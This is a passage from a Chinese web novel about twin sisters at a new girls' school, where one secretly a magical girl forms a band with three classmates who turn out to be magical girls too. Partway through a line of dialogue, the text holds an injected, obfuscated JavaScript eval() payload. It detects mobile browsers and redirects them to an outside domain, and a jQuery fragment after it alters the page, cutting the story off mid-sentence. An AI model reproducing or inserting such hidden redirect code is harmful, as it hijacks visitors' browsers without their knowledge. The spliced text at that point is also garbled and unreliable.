“我们真的能融入这个班级吗?大多数学生都是初中部直升的吧,用敬语打招呼说实话有点奇怪。”森山寺未央表示怀疑,她对于新环境里的一切都感到好奇与紧张,但最重要的还是她的姐姐,森山寺未雅的感受。 在此之前的一年多时间里她从未与如此数量的人群接触过,幸好经过近一个月的补习,二人已经能完美跟上高中的学习进度并通过入学考试。 “总不能这里的学生都和这里的建筑一样高不可攀吧。”森山寺未雅不太在意。 自她出院以来已经过去了几个月,这段时间以来她与生病之前几乎没有区别,本人也表示没有发病期间的记忆和感受,当时就像是中了邪一样,就连现在的她自己都无法理解自己为何会变成那个样子。 “那个样子”不仅仅指森山寺未央在她面前那一瞬间的发难,也指她在精神病院时极端的表现。刚住院的时候,除了沉睡,她大部分的时间对于外界没有任何反应,但如果有外界的存在接近她,试图与她交流或者互动,那她便会表现出攻击性,不分对象,有时对象是她自己,这导致她在很长一段时间里只能通过输液摄入营养。 而在过了一段时间后,她不再不规律地暴动,但依然无法口头交流或者肢体交流,偶尔会问护理人员“我的妹妹去哪里了?”但当护理人员询问是否需要家人来看望,她又会再次重新表现出攻击性。医生表示对方对于精神病院的环境感到非常不安,这是对于陌生环境的排斥,但她又无法以正常的状态与别人交流,她对于自己的妹妹存在某种精神上的依赖,但对方又是引起她暴动的动机。 事实上,若不是森山寺未央的父母极力保证,那位咨询师甚至在怀疑森山寺未央私底下对其双胞胎姐姐进行了长期的精神虐待。她本人在得知这一消息时对其难以接受,她一方面明白自己绝对不曾做过这样的事情,但又自我怀疑是否是自己的主观判断出现了错误的判断,这令森山寺未央很长一段时间陷入了情绪上的自我否定。 森山寺未雅刚刚住院的那段时间里,森山寺未央一个人上学总能遇到不友好的人。她们二人在学校里本就没有除了彼此之外交情较深的朋友,大多数人对森山寺双胞胎的态度也就是好奇再加上敬而远之而已。 “双胞胎中的其中一人因精神疾病住院”这样的新闻在校园里不知何时就变了意识,一开始只是有人问森山寺未央“你的姐姐还好吗?”这样的问题。逐渐问题就变成了“你是不是对她做了什么?”或者“你是不是也有病?”这样在问出口前就提前预设过答案的问题。 森山寺未央本就不太能理解别人话语中传达的感情,无论是好意还是恶意。她一开始还将这些话转达给老师和父母,但直到有一天她的父母与老师谈论了这个问题,并且老师在班级中郑重表达了“不要谈论这件事”之后,她的身边再也没有谁存在了。 讨论的声音还在,在隔壁桌,或者五米之外的墙后,试卷偶尔会缺少自己的那一份,需要用的橡皮总是找不到,上课时老师总是会避开这里,总是有视线在看着她,书中的字无论如何都记不住,写作业时神游天外,回过神来已经是三更半夜了。 这些是正常的吗?森山寺未央自己也逐渐不知道了。 生病的到底是谁呢?如果森山寺未雅是精神病人,那她的双胞胎妹妹又如何是好呢?森山寺未央对次感到万分的痛苦,她不愿意去怀疑自己的姐姐是否一直以来在忍耐对自己的厌恶,亦或者自己一直以来都在无意识地对她产生伤害,但若是两者都不存在,那此时待在精神病院的病人到底是如何看待她和她自己的呢? 好在一切都结束了,森山寺未央心中庆幸。 但是森山寺未央明白自己的姐姐确实病了,不仅仅是因为在出院后,她作为魔法少女偶尔会感受到自己的一部分魔力会流向对方,她在特意观察自己的姐姐过后,确实发现了她在某些方面与常人有异。 例如,往常若是没有去特意地观测,她绝对不会发现森山寺未雅对于陌生的食物的绝对抗拒,她几乎不会主动外出进食,但会在有森山寺未央在场并且她先动口的情况下吃下同样的食物,甚至连胡椒粉,盐,白砂糖这样的调味料都不会主动使用。 又例如,她非常不喜欢陌生或者有太多陌生人的环境,甚至如果森山寺未央不陪同的话,她拒绝独自前去这样的场所。 总而言之,这些事森山寺未雅完全没有理由去做,但是她就是这样完全无意识地做了,与她形影不离的森山寺未央也完全无法理解朝夕相处的姐姐为何逐渐变得不同,但没有提出。 这样就好,这样就很好了,这是二人共同的想法。 森山寺未雅出院后恢复迅速,她自己都说了自己什么都不记得,以至于父母都真的相信她的疯狂仅仅是一时的癔症,不同于森山寺未央,二人全然没有担心自己的女儿真的有精神上的疾病,只是担心外界带来的舆论压力,才将二人转入城市西部一所私人制女校。 对于森山寺未央来说这样就够了,那怕只是将痛苦忘记了也好,一切恢复到什么都没有发生过对于她们家来说已经是最好的结果。她也后悔曾经的自己没能看到姐姐的问题,导致没能阻止悲剧,但现在既然已经有了解决方法,那她便会尽全力保护自己的姐姐。 她一直以来所遵循的刨根问底在这件事上转变了,又或者说这样已经是她能做到的极限。 而她所烦恼的最后一件事,也就是关于魔法少女的义务。在她成为魔法少女之后,家庭中维持了很长一段时间的混乱,姐姐还在精神病院,父母也需要忙碌转学和工作上的问题。她作为魔法少女独自挣扎了很长一段时间,但这也比面对那些人好得多。 混乱也给了她充足的时间去探索魔法和习惯与魔物战斗,同时保护身份隐秘。出于某种直觉与不安,她绝对不想让森山寺未雅得知魔法少女的事情。 “还没想好社团吗?”森山寺未雅问道。 “高中退部的话很麻烦,要仔细斟酌一下。”森山寺未央一本正经地说,疯狂思考有什么社团能将团员单独带走又能给团员大量私人时间的。“未雅呢?未雅有什么想去的社团吗?” 森山寺未央一方面不愿意与姐姐分开,一方面又知道自己不得不这样做。 “哪里都可以,未央去哪里我就去哪里。”森山寺未雅毫不犹豫地说。 “你也给我思考一下啊。”森山寺未央反省是不是自己这段时间对这人态度太好了。 “那体育社团如何?还有团建活动呢,日之森的团建可是特豪华级。” “如果想要好的团建体验选音乐社团不是更好?能出国玩哦。” “呃,日之森的音乐社团很严格。”似乎是回想起在电视上看到的演出活动,森山寺未雅对于这种人态度的陌生场地有着生理性的反感。 而森山寺未央也意识到了这个问题,她反而觉得可以利用这一点,但她实际上也并不喜欢那种过于隆重的氛围。 “请问二位是森山寺未雅和森山寺未央吗?”有乐羽生在这时介入了二人的对话。 “是的,初次见面。”森山寺未雅率先回应道,双胞胎在校园里是罕见的,来教室的路上二人没少被搭话,二人自小便没少因这件事被好奇。 “你是,”森山寺未央则是惊讶于来自对方身上的魔法气息传来的共鸣感,但她并没有表现出来,“我是森山寺未央,这位是未雅,我姐姐。” “非常高兴见到二位,我的名字是有乐羽生,未来四年我们会一起度过!”有乐羽生微笑着说,她分不清二人,但好在至少她了解道有魔法气息的那个是森山寺未央,这样就可以了。 【您好,森山寺未央同学。】有乐羽生使用魔法传音。 森山寺未央愣了下,明显是接收到了信息,但她没有立即回复。 “欢迎来到日之森!二位对于社团活动有什么想法吗?”有乐羽生不动声色,继续与二人闲聊。 “我们正在头疼这个呢,考虑到社团活动分的问题,我们想选择一个合适的。”森山寺未雅回应。 【能…】森山寺未央尝试使用魔法传音,【能听见吗?】 【可以的!】有乐羽生迅速回应,【我主要是来找您商量关于社团的事情的,森山寺同学想必也和我们一样在烦恼社团相关的问题吧?】 ”如果有感兴趣的社团请务必去看看吧,这一周所有的社团在放学后都开放参观。“有乐羽生提议说。 【咦?确实,居然还有这种事?】森山寺未央的语气十分惊讶。 自从有乐羽生主动接近并且向她使用魔法传音后,她才意识到‘魔法使用者的气息之间会产生共鸣’这件事,并且察觉到班级里有其它魔法少女存在。 “感谢建议,”森山寺未央说,“我们会去的。” 【放学后一起谈谈吧,我们一定能有共同话题的。】有乐羽生微笑着说,“希望二位玩的开心。” “好的,谢谢有乐同学。”森山寺未雅学着对方那样礼貌的口吻回敬说。 “啊好。”森山寺未央也回应了。 目送有乐羽生离开后,森山寺未雅谈论起了刚才的话题,“要去看看吗?” “社团参观?”森山寺未央还在思考刚才的魔法传音,“去看看吧,不过明天去怎么样?今天人一定很多。” 另一方面也是因为森山寺未央今天放学后要去找有乐羽生几人,她在此之前从未察觉到教室内还有其它魔法少女的存在,她不禁思考对方是如何在自己不经意间发现自己的身份的。 “没错,明天去吧!”森山寺未雅同意了这一提案。 “今天放学我不和你一起回去了,我要找老师问一下校内医务室设施的问题。”森山寺未央找了个借口,她明白森山寺未雅非必要不会外出。 “今天吗?好吧,注意安全。”森山寺未雅果然不太在意。 居然能在高中开学第一天遇到三个魔法少女,还是同班同学,森山寺未央不免在心里怀疑自己是不是无意间启动了世界上的某个刷新魔法少女的选项。 但无论如何,她的心里都对此感到无比好奇与期待。 3. 一 第一天的高中生活对所有人来说都过的很快,原因大概是新鲜感在作祟,在名为新鲜感的兴奋剂的作用下,开学这一日的光景大概会永远地留在一些人的脑子里,让她们在多年之后还能微笑着与别人提起这份美好的回忆。 但也有可能是因为第一天下午会提前放学。 课后,因奇迹般的巧合聚集在同一班级的魔法少女各自摆脱身边的事物,前往由有乐羽生推荐的某个教学楼后面的广场角落讨论社团活动的事。 “这简直就是命运馈赠的奇迹,那么重新让我们重新自我介绍一下吧,”艾克里普在几乎是迫不及待地想了解其它三个人,她带着欣喜的笑容率先展开了对话,“我是艾克里普,这样称呼我就好,我希望能与大家成为朋友!” “我的名字是有乐羽生,能遇到各位真是一件不可思议的事情。”似乎是每时每刻都保持微笑的有乐羽生微微点头,“希望与各位一同度过美好的高中时光。” “我是森山寺未央,未雅是我的双胞胎姐姐,真高兴能遇到你们!”森山寺未央也表现地对自我介绍很有兴致,“说实话我觉得我们两个还是很好区分的!” “我是犬山晓,”个子稍微有些矮的犬山晓最后一个开口,“关于我们即将组成的社团我准备了一个想法。” “直接默认我们四个组成一个社团了吗?”森山寺未央挑了挑眉,她并不是在对什么感到不满,只是进度如此之快超出她的预料。 “我以为各位愿意出现在这里就是同意了?”犬山晓反问道,她同样并非对前者的疑问感到不满,正好相反,她对于自己的提议并不算自信,所以有些紧张。 经常会有这种事情出现呢,察觉到这些的有乐羽生心想,现在果然还是先促成一个完整的社团要紧,后期什么事都可以再说。 “四个人是组成交流会的最低人数,在这个基础上通过申请确实会有一些困难。”有乐羽生说,“犬山同学的点子是什么呢?” “我当然考虑到了人数问题,在四个人的基础上需要尽快达成一些目标才能向社团管理员表达我们社团存在的价值。”犬山晓点了点头说,“我们可以组成一个乐队。” 此言一出,其余三人皆有不同反应。 “乐队是指音乐社团那样的吗?我们四个人会不会规模有点小?”艾克里普对此担心,她对于社团本身并不太在意,只是担心这个社团能否长久留存。 “居然是乐队,”森山寺未央兴致盎然,“我小时候就一直想组乐队来着。” “乐队,是指摇滚乐队那种吗?”有乐羽生向艾克里普介绍说,“也有人数不多的组合,与传统声乐不同,人数倒不是一个大问题呢。” 见到各位队员都并没有太过反对自己的意见,犬山晓心里松了口气,她本来已经做好了被拒绝的准备。 “个人时间多,可以在短期拿出成绩,不需要更多的人加入。”犬山晓说,“我认为是最好的解决方案,到时候还能申请出席各种活动舞台。” “我想起来了,确实有这种由几个志同道合的人组成小型乐队演出的类型。”艾克里普像是现在才连上话题,“确实,这样说来确实非常合适,我们要组成乐队吗?好期待呀。” “乐队吗,”有乐羽生明显对这个名字感到新鲜,“日之森从前确实也有过一些乐队,有先例就好申请的多了,不过并没有正式申请为社团的。” “我会弹贝斯,”森山寺未央举手,“要组乐队的话我们还可以帮忙作曲。” “我们?”犬山晓反应过来,“啊,是指和你姐姐。” “没错,”森山寺未央点头,“我们小时候就一起写过歌,乐队果然还是得要有一些原创曲目吧,接下来是我们的新歌,什么的。” “这样吗?咦?”对于这方面艾克里普明显并不了解。 “我会弹吉他,”说到这里犬山晓微微移开了视线,“不过不算很熟练。” “我可以作为键盘手,钢琴和电子琴应该是差不多的?乐理我还算是擅长的,有旋律之后分谱我也能帮忙。”有乐羽生思考着觉得这事可行。 “哎呀,那我该做什么呢?”艾克里普尝试跟上话题,“我可以帮忙作词,韵律什么的,但就乐器来说我们还缺少什么呢?” “鼓手,以及主唱,”犬山晓迅速补充说,“艾克里普会使用架子鼓吗?” “说实话我之前没尝试过,但我很快就能学会的。”艾克里普说,“交给我吧。” “主唱呢?先说好我不会唱歌,人多的时候我也绝对唱不了歌。”森山寺未央有自知之明。 “那我来吧,我以前也是合唱部的,让我试试可以吗?”有乐羽生小心地提出,似乎是有些不好意思提出自己的需求,声音略低。 “那就交给你了!”犬山晓很满意角色分配的顺利。 一般来说乐队的组成都是由已有的乐器玩家组成的,在个人乐器分配上虽然可能有所通融但不会出现成员聚集之后才决定乐器的做法,也当然不会有这种“既然还缺这个乐器那就交给我吧”的事情出现。 但这支乐队的成员本来就足够特殊,那再有一些特殊的地方也没关系。 “那么接下来是,”犬山晓看了看社团申请表,“社团名称和活动内容。” “取名,名字是乐队的灵魂啊。”森山寺未央意味深长地说。 “犬山同学有准备名字吗?”有乐羽生问道。 “并没有,”犬山晓摇了摇头,“在这方面我希望能结合大家的意见。” “我们的乐队风格是什么?”森山寺未央兴奋地问,“魔法少女吗?” “是奇迹吧,这一定是比从遇难的捕鲸船上独自生还几率更小的奇迹。”艾克里普郑重地思考。 “这样吗?”犬山晓有些不好意思。 “也可以看音乐风格,”森山寺未央算是对于乐队有些研究,“抒情,重金属,乡村慢摇,我们的歌会是什么样的呢?” “哈哈,好奇怪的感觉,”有乐羽生笑了,“没想到我们会一起考虑这种东西,明明我们今天才刚刚见面。” “玩乐队大概就是这样的吧,节奏很快,什么都是。”森山寺未央也笑了。 “艾克里普同学,可以这样称呼吗?”犬山晓看见了对方一直在思考,“你有什么建议吗?” “叫我艾克里普就好,”艾克里普回过神,“我确实有个想法。” “Mirare,”艾克里普在桌上汇集魔力写下单词,“很有韵律的词语,意味看见的奇景,也有海市蜃楼的意向。” “好厉害!”森山寺未央惊讶地赞叹说,不知道是指取名还是手法。 “我觉得这个名字很美,”有乐羽生也赞美道,“如果我们的乐队用这个名字的话一定会大受欢迎哦。” “这个名字配得上我们的乐队,”犬山晓也满意这个名字,“既然大家都同意的话那我就写上去了。” 看到大家都赞同自己的想法,艾克里普露出了发自真心的微笑。 接下来是活动内容概述,有乐羽生看了过来,顺带注意到了犬山晓在用左手写字,但没有刻意提出这件事。左撇子比起魔法少女来说不算是什么奇怪的地方啦。 “不需要写的特别详细哦,大致哪些人会干什么,然后有没有定期活动,这样就可以了。”有乐羽生提示说。 “那就这样,由四人组成乐队,定期联系,并且完成完整的原创作品。”犬山晓快速地写下,“看着还挺像样的。” “那么我们的目标就是登上舞台,”森山寺未央看的很远,“学校里会不会有我们的粉丝呢?” “会有,但现在先考虑实在的,”犬山晓说着写下活动目标,“有什么特定的目标可以写吗?” “校园乐队的话校园祭就是不错演出机会,”有乐羽生介绍说,“往年校园祭也会有学生乐队登台,日之森的校园祭算是大型活动了。” “确实,我之前在别的城市上学时就听说过,不过没来看过。”森山寺未央点头。 “校园祭,祭典吗?学校为什么会有祭典?”艾克里普有些惊讶。 “国外的学校没有校园祭吗?”森山寺未央好奇,有乐羽生也看了过来,“一般是庆祝学校建成的日子,不同的学校日期不同,日之森的就在春季。” “原来是这样,祭是庆祝的节日的意思。”艾克里普点了点头,“其它国家的学校也会有这样的节日,但我实际上在此之前并没有上过学,所以也没有参加过。” 其余几人都对此感到惊讶,毕竟艾克里普看上去相当有学问。 “真的吗?难道说你是那种在家学习的类型?”犬山晓尤其感兴趣,“不上学家里人不管你吗?” 随后她便意识到自己可能问的太多了,抿了抿嘴想说什么,但艾克里普并没有露出不满的表情。 “这和我作为魔法少女的身份有关,与大家不同,我并没有家庭的背景,细节大概迟早会告诉你们,”艾克里普并没有想隐瞒自己过去的意思,只是安慰着微笑说,“等哪天我们能坐下来慢慢聊的时候我再说吧,现在先谈社团的事情吧。” 见状其余几人也不再追问。 “那么申请表就算写完了,现在就去上交吗?”犬山晓看向有乐羽生。 “正是如此,”有乐羽生点点头,“早点通过我们就能早点选活动教室了。” “那我们走吧!”森山寺未央跃跃欲试,迫不及待地站起身,几人聊着天出发前往社团活动管理办公室。 现在校园内的学生还很多,大多数在往返各个社团之间加入参观活动,也有些许学生的家长出现彼此攀谈。社团活动管理办公室与学生会处于一栋建筑里,就在社团活动建筑群的西北边,离西边的教学楼建筑群有些距离。 日之森主校门朝东南,在正常开放时间段都开着,配备安保人员。校门出口处附近有临时停车场,供接送学生,从临时停车场内部的门可以驱车从边上的车道进入东边的校内停车场。 从校门进入学校主道后不远处就是高大的主教学楼,西边的教室是学生们的主要教室,东边是大型教室。教学楼西侧边上有着相当显眼的全玻璃式圆筒型上下楼梯区,中央也有正常楼梯和电梯。 教学楼往北部走便是休息区广场和食堂,由遍布绿植的小径连接,若是再往北部走到校区最北便能看到巨大的环足球场式操场跑道。 “不是学生会成员的同学也可以来这里休息,每天都会有点心可以吃。”有乐羽生边走边向几人介绍。 犬山晓听的尤其认真,有乐羽生也乐于为大家解答各种大大小小的问题,她表现得像个校内的导游。 “犬山,你是想加入学生会吗?”森山寺未央见对方如此好奇不禁问道。 “并不是这样,我没有时间作为学生会成员活动了,”犬山晓认真地反驳,“不过直接被叫姓氏感受真是奇怪。” “有吗?加上同学的话我反而感觉怪怪的,不过总感觉我已经很久没有叫别人的名字过了。”森山寺未央摸了摸后脑勺。 日之森内大多数同学间互相称呼都是后缀同学或者敬语,这令在公立学校里饱受各种代号称呼的森山寺未央难以招架。 “我并不讨厌,”犬山晓摇头,“怎么称呼都可以。” “是呢,日之森的学生们彼此的称呼实际上也是一种对于社交文化的追求,各位是转学生可能还没能感受到,在这里社交是很重要的。”有乐羽生谈及此事语气却是不以为意的。 “其实我也能感受到一点,隐约有些被排挤的感觉呢。”艾克里普摸了摸手臂。 “咦?艾克里普会有这样的感觉?”森山寺未央讶异,“明明在教室里你看上去超级受欢迎。” “超级”之间声音被刻意拉长,但看其脸色就能理解森山寺未央对此并不羡慕。 “怎么说呢?”艾克里普想了想,“有种被参观了的感觉?我之前有看到森山寺同学也会有这样的待遇吧。” “我们从小到大都这样,已经没有特殊的感觉了,”森山寺未央说,“直接叫我未央就好。” “习惯了吗?”艾克里普不太理解,“不过这样也好。” “难以想象,几乎没有人主动来找我说话。”犬山晓说。 此话一出,她感受到艾克里普顷刻间就投来了羡慕的目光。 “会觉得不好受吗?”她关心说。 “没什么,”犬山晓不以为意地摇了摇头,“有人说过我的存在感不高,我也预料到了这个情况。” “高中有四年呢,而且这里的同学们也算是很有个性的那种了,以后总有机会遇到能聊得来的同学的。”有乐羽生看向犬山晓,即使自己都不这样认为也想安慰一下对方。 “至少现在我们连乐队都有了,直接跨越过朋友的阶级组成了一支完整的小队,以后出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706116|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你大可不必为朋友不多而自卑。”森山寺未央很认真地说。 “那这样就足够了,不如说已经比我想象中的好太多了。”犬山晓笑了,“能组成乐队,乐队成员还都是魔法少女,开学以前我根本不敢想还有这样的事。” “没错没错!”艾克里普非常赞同这一点,“入学真是太好了,以前我根本就没有察觉到城市里还有同伴,能和大家相遇真是了不起的事情。” “这样看来乐队反而是最普通的那部分了。”森山寺未央比较道。 “不过我们就是普通高中生呀,”有乐羽生笑了,“至少在学校里的时候是这样的。” 在几人谈话之间,社团管理室的门出现在了视野范围内。社团管理室在学生会办公楼的一楼大厅右侧,此时大厅里外可以算得上人声鼎沸,一些在开学典礼上见过的面孔此时也出现在了这里,例如初中部和高中部的学生会主席,以及一些学生会代表,此时有两三人看见了有乐羽生,便转头打招呼。 “您好,有乐同学。”一位领结上有学生会徽章的同学走上前来,这个徽章在有乐羽生身上有个同样的,犬山晓发现她看了一眼这里其余的三个人,随即转过头只和有乐羽生打招呼,皱了皱眉。 “您好,天生目同学,许久不见了,开学第一天感受如何?”有乐羽生非常自然地回应了对方,对方简单有礼地回答了问题,随后二人告别。 “耽误了些时间,抱歉。”有乐羽生再次回到几人之间。 “这就是你说的社交吗?”森山寺未央感觉这非常奇怪,看上去非常不适应也不理解。 “确实是这样,尤其是学生会成员之间,”有乐羽生点头,带着笑容却看上去有些烦恼,“甚至有特别推崇这种礼仪的社团。” “我明白,这看似是无意义的,但实际上有其存在的价值,”艾克里普面露怀念说道,“有些孩子确实需要靠着这一套礼仪在校园这样的模拟社会中靠捏造规则来彰显自己的价值,但随着她们长大,这些回忆可能会依价值给予她们力量,亦或者痛苦。” “这样啊。”有乐羽生眨了眨眼。 “咦?怎么突然说起这个了?”森山寺未央有些疑惑,“无论如何先把申请表交了吧,犬山?” “走吧。”被提到的犬山晓从思考中回过神来。 “放进那个盒子里就好,”有乐羽生指了指管理室门口的信封箱,“一般来说这两天就会得知成果了。” “被通过的可能性大吗?”犬山晓有些担心。 “别担心,”有乐羽生安慰说,“我们不是先例。” “对呀,别担心!”艾克里普鼓励说,“如果不顺利的话我也会想办法的。” 森山寺未央莫名觉得她说的办法不是正规手段,但无论如何这样一来她就没什么好担心的了。 “这一天的校园生活就算结束了吧,之后大家都准备做什么?”艾克里普问所有人。 “我要先回宿舍整理今天发下来的材料,”犬山晓抬起右手腕确认了一次时间,现在是下午三点出头,“然后外出,不过今天的话我一会应该会去练习一下吉他。” “犬山同学说的外出,是准备去寻找魔物吗?我一般放学之后就要直接回家了,不过以后放学后就能以社团练习的理由自由活动了呢。”有乐羽生感兴趣地问,“犬山同学居然住宿舍,平时会遇上老师吗?” 虽然说集体住宿并不是有乐羽生的喜好,但她对于这种方式很感兴趣。 “宿舍环境我觉得不错,确实会遇到老师。”犬山晓回答说,“夜晚没什么人的时候我会夜训,如果有遇见魔物的话就会顺势消灭。” 有乐羽生听闻感到十分新奇,并且有些羡慕。 日之森的社团活动时间规定为放学后到下午六点,之后校内会进行清扫工作,早晨一些运动社团在清晨到上课之前会有晨练,周六也会有社团时间。 “放学之后做什么,感觉很久没有考虑过这种事情了。”森山寺未央若有所思,“不过既然是魔法少女的话,放学后给人应该去练习魔法狩猎魔物吧!” “毕竟这是魔法少女的职责所在呢。”艾克里普笑着说,“不过请一定要注意安全和隐蔽,以及对于魔法的练习哦。” “啊,说起这个,”森山寺未央问道,“艾克里普,可以教教我那个吗?用手指凝聚魔力的那个。” “咦?”艾克里普非常疑惑,不过很快就反应过来,“未央是最近才成为魔法少女的吗?” “差不多吧。”森山寺未央模糊地说。 “那让我来引导你,好让你成长为能独当一面的魔法少女。”艾克里普郑重点头,“那我们找个空旷无人的地方吧。” 森山寺未央点了点头,与其余二人告别后和艾克里普一同离开了。 而有乐羽生叫住了准备离开的犬山晓。 “说起来虽然我资历尚浅,但一直没有遇到过大家也是很奇怪的事情,是不是因为地区的问题呢?”有乐羽生问道,“犬山同学一会准备去哪里巡视呢?” “我准备去这里。”犬山晓拿出手机,展示地图上标注了图标的一处地点,是一处离学校大约5公里左右的街道处的商区,名叫夕映广场。主要受众是学生和退休了的老人,也有现代化的百货大楼,这个时候人流量不算多,周围也有些本地人所有的商铺和公寓式居民楼,日之森的学生有时会去那里逛街。 “哎呀,这里我听说过。”有乐羽生保持笑容,“我们一起去吧,我还没去过这里呢。” “要一起去吗?”犬山晓想了想,没去询问对方回家的问题,“那先陪我去宿舍放东西吧,就在校门外不远。” “这样可以吗?”有乐羽生惊讶与对方会邀请自己去住处,她只是想尝试一下放学后与同伴一起出去闲逛的感觉。 犬山晓不明白对方的疑惑点在哪里,虽然她以前并没有邀请过别人去自己的屋子里,但她自认为没在里面放见不得人的东西。 “没关系的,这个时候老师们都没下班,”犬山晓以为对方是担心这个,顿了顿后安慰说,“学生宿舍楼层较低,我们走楼梯不会遇到的。” 有乐羽生当然并不是在担心这个,但她考虑到她人的隐私问题便也不再强调这件事。 不如说对方愿意信任自己让她有些新奇地开心。 “那就好了,我们走吧。”有乐羽生微笑着说,准备以后找机会讨论这件事。 4. 二 正如犬山晓说的那样,这个时间点的宿舍基本上没有人影,二人从公寓大门到犬山晓的房间门口都没有遇到任何一个人。 “不会只有犬山同学一个学生住宿舍吧?”有乐羽生不由得问,这是她第一次参观集体住宿区域,但她也发现了这不同寻常的空旷。 犬山晓的房间在这一层靠走廊尽头的位置,旁边就是应急通道,从电梯旁的常用楼梯出来一路向前走,走廊两边的每一扇门上都没有被挂上名牌,只有尽头的这一间属于犬山晓的门上贴了东西。 “很安静吧,这一层确实没什么人。”犬山晓从校服口袋里取出钥匙,门锁发出清脆的转声后被打开了。 宿舍的申请只在开学前一个季度的最后一个月开放三个星期,且并不会特意宣传,犬山晓也是在彻底检查过学校邮件和网站之后才发现有宿舍可以供学生申请。不过这个学校的学生一般来说也不会选择住在宿舍。 公寓是一居室,进门后犬山晓从换鞋处储物柜取出一双新的拖鞋让有乐羽生换上,随后自己先进入了客厅。 “打扰了。”有乐羽生的神色放松了不少,她好奇地打量玄关处的设计,大概是用来悬挂钥匙的地方旁边被犬山晓摆上了消毒洗手液,她伸手按压了些许,是皂香的。 从玄关往里走是一个结合起居室和厨房为一体的客厅,简易的电子炉上没有什么厨具或调料,只有一个水壶摆在旁边。一旁的冰箱上倒是贴了些磁吸挂钩,不过上面并没有挂东西。犬山晓拉开冰箱门回头问有乐羽生,“喝些什么吗?” “这么多——”有乐羽生被惊住了,不由得一下子把头伸进了冰箱里,犬山晓不免向后退了一步。 犬山晓的冰箱冷藏区里塞满了各式各样的饮料和带包装的可快速补充体力的食物,塞满饮料的冰箱门打开时框内盛放的瓶瓶罐罐晃了晃,最下面大概是放水果的抽屉合着。 什么种类或品牌的都有,但每种只有一样,像是收藏品一样规则地陈列在冷气之中,看不出其主人口味上的偏好。有乐羽生伸手摸了摸那些瓶瓶罐罐,凸起的花纹传递出了它们跃跃欲试想被选择的心情。 “那我要这个,谢谢!”有乐羽生选择的是蓝色包装的小瓶,蓝莓味果冻,包装上的卡通形象在以夸张手法摇瓶子,果冻涂鸦从瓶口流出。 “我很快就能整理好东西,你在客厅坐一会吧。”犬山晓拉开上方的柜子门,伸手,一根粗吸管从柜子深处飘出来,落在有乐羽生的手里。 “哦,好。”有乐羽生愣了愣,对于对方这样在生活中随手使用魔法的行为有些新鲜,她几乎从不在自己的日常生活中使用魔法。 待犬山晓拎着书包走进卧室后,有乐羽生开始巡视客厅,她对于“参观朋友家”这件事感到非常新鲜,这里与她家一样提供一处休息的地方,却又如此不同。她感觉这种不同的感觉并不是出于房间的大小或者装潢,而是一种更加出于直觉的感受。 客厅的沙发与有乐羽生家那姑且可以被看作为会客厅的空间完全不同,可以看得出这里的主人经常随意地使用它,深色的沙发上有仅为舒适度考虑的毛绒靠枕,没有意义不明但样式华丽的圆柱型装饰物。沙发边上的茶几上的也不是小型花瓶而是零食盒,甚至茶几下方的储物空间里也放着零食,与冰箱里的陈列物一样品种繁多但没有被开启的痕迹。 这里的主人几乎不吃这些零食,但储备非常充足。 客厅旁便是可以随手拉开的阳台玻璃门,站立式的大型花瓶里放着大片的绿色热带叶子,看上去被打理得不错,配合午后撒入房间的日光肆意地呼吸着。 悬挂式电视机下方的柜子里摆着几本书,其中一些被放在了阳台的高桌上,桌旁有一对高脚椅,一旁靠着卷起来的瑜伽垫,同时有些辅助健身器械,看得出使用痕迹,有乐羽生惊讶地发现犬山晓的生活习惯非常健康。冰箱里的陈列物看上去展示作用居多,厨房的灶台是不配有油烟机的简易类型,学生吃饭一般是在学校的全天开放自助食堂或周围的饭店。 社会学中,初次进入新环境的青少年是沾染不良习惯的高危群体,光是新闻上的例子有乐羽生就看过不少了。 就这样晒着太阳靠在沙发里,一边吸食蓝莓香精味的奇怪果冻一边隔着袜子感受长毛地毯的触感,有乐羽生感受微妙。这种感觉有些像她悄悄隐去身形在夜空中飞行,也有些像她小时候在秋游时迷了路,一个人在美术馆乱跑结果遇到了正在采样素描的美术学者。 就这样躺了会后,有乐羽生决定去请求参观一下犬山晓的卧室。 “我可以进来吗?”犬山晓听见自己并没有关上的卧室门被敲了敲,她应了一声,有乐羽生便带着拧上盖子了的果冻进了卧室。 “就快了。”犬山晓将最后一个文件夹推进书桌旁的柜子。 “不用着急,我只是想进来看看宿舍的卧室,不打扰你。”有乐羽生摆了摆手,打量着房间内的陈设,与客厅差不多,整体色调偏暗,没什么装饰,但有生活的气息。 随后她便看见了犬山晓刚刚放进书架的教科书,她才意识到对方把今天发的所有教科书全部带回家了。 “犬山同学把教科书全部带回来了呀,不重吗?”有乐羽生讶异地看向犬山晓的书包,她刚刚随手拎在手里晃来晃去的包若是装进了所有的书那至少有十公斤重,“大多数同学都会放在学校的个人柜子里,上课的时候拿出来用。” “我准备把它们包装一下,而且这些对我来说并不重。”犬山晓摇了摇头,转身走向更衣室。 鉴于魔法少女的身体素质确实远超常人,有乐羽生便没有继续追问这个话题。 “咦?”有乐羽生发现犬山晓正在脱校服,她一边转开视线一边问,“犬山同学出门前要换衣服吗?” “是的,穿着这身出门还是太显眼了。”犬山晓之前穿着校服出门经常能听到她人的议论,甚至有直接上前搭话的,不过她发现城市里莫名其妙主动搭话的人很多,无论穿着打扮。 “倒也确实是这样。”有乐羽生同意道。 “有乐同学没有带外套吧,要不要试试看我的衣服?”犬山晓问道。 “这样可以吗?”有乐羽生眨了眨眼。 “不介意的话,毕竟我们要一起行动的。”犬山晓顺手理了理头发,“衣帽间里挂着的都是干净的。” 就像之前那样随意地邀请别人进入自己家那样,犬山晓再次随意地邀请了有乐羽生进入自己的衣帽间。 这样对于初次见面的两个人来说其实是有些不合时宜的,至少有乐羽生的常识告诉她这样,但有乐羽生确实不希望穿着校服出游,也确实对衣帽间里的填充物感兴趣。 但这份短暂的迟疑还是被犬山晓捕捉到了。 是因为“让别人穿自己的衣服”是很奇怪的事情,还是因为有乐羽生自己不习惯这种行为呢,犬山晓不由得紧张了起来,但话已经说出口了。 好在有乐羽生也察觉到了对方的紧张。 